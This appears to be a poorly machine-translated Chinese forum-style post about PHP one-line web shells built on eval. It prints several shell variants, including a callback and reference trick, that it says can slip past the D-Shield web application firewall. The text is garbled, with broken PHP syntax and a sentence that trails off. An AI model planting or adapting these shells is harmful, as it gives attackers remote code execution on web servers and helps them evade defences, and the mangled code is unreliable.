The relationship between Eval and PHP sentence

Part1

First we know that eval can execute PHP code, the most common PHP sentence is also using the Eval keyword.

<?php @eval($_get["Code"])?>

Part2

In the T00ls forum when mixed, there is a phenomenon, if someone to share the word, the use of eval in the keyword, many people will

Part3

Many cousins say this, mainly because the function of eval, in people's minds is a dangerous function, the basic WAF see the second kill that, but the truth is true??!

Part4

-Must be killed by a second sentence

<? PHP $a $_request [1]; Eval ($a);

D-Shield 4

-I think I can salvage a sentence.

<? PHP $a $_request [1]; Eval ($b=&$a// The value of the variable $ A is referenced to $b, so here a $ A and $b are equal. 

Easy over D-Shield, take a picture.

-Comment a sentence

This callback function in a sentence, reported 1 levels, how to completely over D shield it

Finally, attach the code

<? PHP $a=call_user_func(function($u) {return @$_request[$u ];}, ' 1 '); Eval (/**/($a));

The relationship between Eval and PHP sentence